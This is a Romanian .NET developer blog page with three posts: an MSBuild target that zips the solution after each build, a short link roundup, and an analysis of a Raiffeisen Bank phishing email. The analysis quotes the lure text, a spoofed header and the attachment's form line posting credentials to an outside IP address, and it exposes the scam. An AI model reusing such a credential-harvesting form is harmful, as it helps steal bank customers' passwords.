In principal, despre .NET, VB6. C#,VB.NET, ASP.NET Apoi despre programare si multe alte chestii ... de programare.

Subscribe RSS   Mini tools List

miercuri, iulie 16, 2008

MSBuild tasks si Poor man backup
Va rog sa folositi acest URL NOU de la
http://serviciipeweb.ro/iafblog/

M-am tot uitat in ultimul timp la MSBUILD
Interesant si extensibil...
Din fericire , exista o sumedenie de taskuri msbuild cu care poti face (aproape) tot ceea ce vrei

Ceea ce vroiam sa fac era doar o zip-uire a solutiei la fiecare compilare.

La http://msbuildtasks.tigris.org/ am gasit (printre multe altele)  task-uri de zip-uit, ca si task de obtinut data si timpul

Asa ca solutia a fost sa le combin ... si am reusit sa introduc in proiect asa ceva:

<Target Name="AfterBuild">
        <Time Format="yyyyMMdd_HHmmss">
            <Output TaskParameter="FormattedTime" PropertyName="FormattedTime"  />
        </Time>
        <ItemGroup>
            <ZipFiles Include="$(SolutionDir)**\*.*" Exclude="$(SolutionName)*.zip" />
        </ItemGroup>


        <Zip Files="@(ZipFiles)" ZipFileName="$(SolutionName)_$(FormattedTime).zip"  />
        <MakeDir Directories="$(SolutionDir)..\Zips"  ></MakeDir>
        <Move SourceFiles="$(SolutionName)_$(FormattedTime).zip" DestinationFolder="$(SolutionDir)..\Zips"></Move>

    </Target>

Practic, daca aveti o structura in care solutia(.sln) este intr-un folder , iar celelalte proiecte sunt in sub-folder-e dedesubtul solutiei, adaugati in care proiect vreti codul de mai sus si va aparea , dupa fiecare compilare, un folder zips cu solutia si subfolder-ele zip-uite...






Incerc sa fac o enumerare rapida de task-uri MSBuild, in ideea ca poate cautati ceva si nu vreti sa reinventati roata:
   
MSBuild Windows PE Tasks - Home
http://www.codeplex.com/msbuildwinpe

MSBuild Extras - Toolkit for .NET 1.1 "MSBee" - Home
http://www.codeplex.com/MSBee

Coding Cockerel code samples - Release: Automating the build with MSBuild
http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=codingcockerel&ReleaseId=12739


Download details: Microsoft® Visual Studio Team System 2008 Database Edition Power Tools

http://www.microsoft.com/downloads/details.aspx?FamilyID=73BA5038-8E37-4C8E-812B-DB14EDE2C354&displaylang=en

Peli's Farm - TaskSchema, a XSD schema generator for MsBuild tasks

http://blog.dotnetwiki.org/TaskSchemaAXSDSchemaGeneratorForMsBuildTasks.aspx

MSBuild Tasks for BizTalk Continuous Integration

http://geekswithblogs.net/paulp/archive/2008/06/09/122746.aspx

CreateGuid MSBuild Task « Grant Holliday

http://ozgrant.com/2008/04/04/createguid-msbuild-task/

How to create a YUI Compressor MSBuild Task - Nick Berardi's Coder Journal

http://www.coderjournal.com/2008/05/how-to-create-a-yui-compressor-msbuild-task/

CodeProject: Custom MSBuild Tasks: Automated Report and DB Deployment. Free source code and

http://www.codeproject.com/KB/reporting-services/CustomMSBuildTask_RS.aspx

Custom MSBuild Tasks: Automated Report and DB Deployment
SDC Tasks Library - Home
http://www.codeplex.com/sdctasks

How to Write a Custom MSBuild Task : Keyvan Nayyeri

http://nayyeri.net/blog/how-to-write-a-custom-msbuild-task/

Brennan's Blog » Blog Archive » SubSonic and Automation with MSBuild

http://brennan.offwhite.net/blog/2007/06/10/subsonic-and-automation-with-msbuild/

msbuildtasks.tigris.org

http://msbuildtasks.tigris.org/

Sedodream MSBuild Project - Home
http://www.codeplex.com/Sedodream

Post page: http://serviciipeweb.ro/iafblog/2008/07/16/MSBuild+Tasks+Si+Poor+Man+Backup.aspx

Weblog post by 'admin' on 'MSBuild tasks si Poor man backup'

Categories:programare;MSBuild

luni, iulie 07, 2008

raiffeisen si furat de parole
Va rog sa folositi acest URL NOU de la
http://serviciipeweb.ro/iafblog/


Am primit deja 3 emailuri cu continutul

"Noi masuri de securitate introduse de Raiffeisen Bank. Prin aceasta noua metoda de verificare a conturilor Raiffeisen Online, securitatea a crescut vizibil. Va rugam deschideti mesajul din fisierul atasat email-ului pentru a aplica pentru noul program de securitate.

-------------------------------------------------

© Raiffeisen Bank 2008"


Sunt citeva probleme aici:

    1.Desi vine , cica, din partea la security la raiffeisen minus online.com

totusi, daca va uitati in header-ul mesajului, este

"Received: from unknown (HELO User) (66.34.62.243)
  by ps32.suite2.arena.ne.jp (202.229.25.116) with SMTP; 3 Jul 2008 07:36:56 +0900"

    2. Nu am cont la Raiffeisen si nu le-am dat emailul meu ( am o fobie imi a da emailul la banci)
      
    3. In html-ul atasat, metoda este:

<form method="POST" action="http://64.246.187.2/~info/raiffeisen.php">

Cred ca mi-e frica si sa dau ping la 64.246.187.2 ...

(Ma rog, imi place ce scrie inauntru :

Va informam ca securitatea pe care Raiffeisen Bank o ofera a fost sporita! Din acest moment verificarea validitatii accesului la contul dumneavoastra online nu se mai face in
        cadrul unei pagini speciale in interiorul web-site-ului nostru, ci
        printr-un formular care este trimis ca atasament la un email. In acest
        fel accesul persoanelor neautorizate este imposibil, iar securitatea
        sporita oferita de tipul de encriptare al datelor SSL ridica notiunea de
        securitate online la cel mai inalt nivel.
Dar singura referinta la https este  la o imagine
                <img border="0" src="https://www.raiffeisenonline.ro/eBankingWeb/assets/images/veriSign_new.gif" width="134" height="61">
)

Ce sa zic... incepe sa devina interesant si furatul de parole in RO ... se straduiesc baietii...
Desi e simplut... eu as fi incercat sa puna la inceput si un reuqest catre acelasi site sa aduc si un troian,ceva...




Post page: http://serviciipeweb.ro/iafblog/2008/07/07/raiffeisen+Si+Furat+De+Parole.aspx

Weblog post by 'admin' on 'raiffeisen si furat de parole'

Categories:programare

miercuri, iulie 02, 2008

newslink pentru iulie 2008
Va rog sa folositi acest URL NOU de la
http://serviciipeweb.ro/iafblog/

Despre interviuri si intrebari nonconformiste...
http://w-uh.com/articles/030524-moving_Mount_Fuji.html

Why Don't Managers Think Deeply?
Raspunsul aici   http://hbswk.hbs.edu/item/5952.html

SkyDrive are , in sfirsit, 5 GB free si pentru RO
http://skydriveteam.spaces.live.com/blog/cns!977F793E846B3C96!3837.entry

Despre ce sa faceti ca developer
http://timstall.dotnetdevelopersjournal.com/intellectual_equity.htm
Desi nu ia in considerare ca primul o sa devina manager ....

Niciodata sa nu folositi confirmarea daca puteti face undo
http://www.alistapart.com/articles/neveruseawarning

Si, in sfirsit, 6 motive sa nu fiti un dezvoltator web
http://webworkerdaily.com/2008/06/02/6-reasons-why-you-shouldnt-be-a-web-worker/


Post page: http://serviciipeweb.ro/iafblog/2008/07/02/newslink+Pentru+Iulie+2008.aspx

Weblog post by 'admin' on 'newslink pentru iulie 2008'

Categories:newslinkuri;programare

 
Acest blog s-a mutat la http://www.serviciipeweb.ro/iafblog/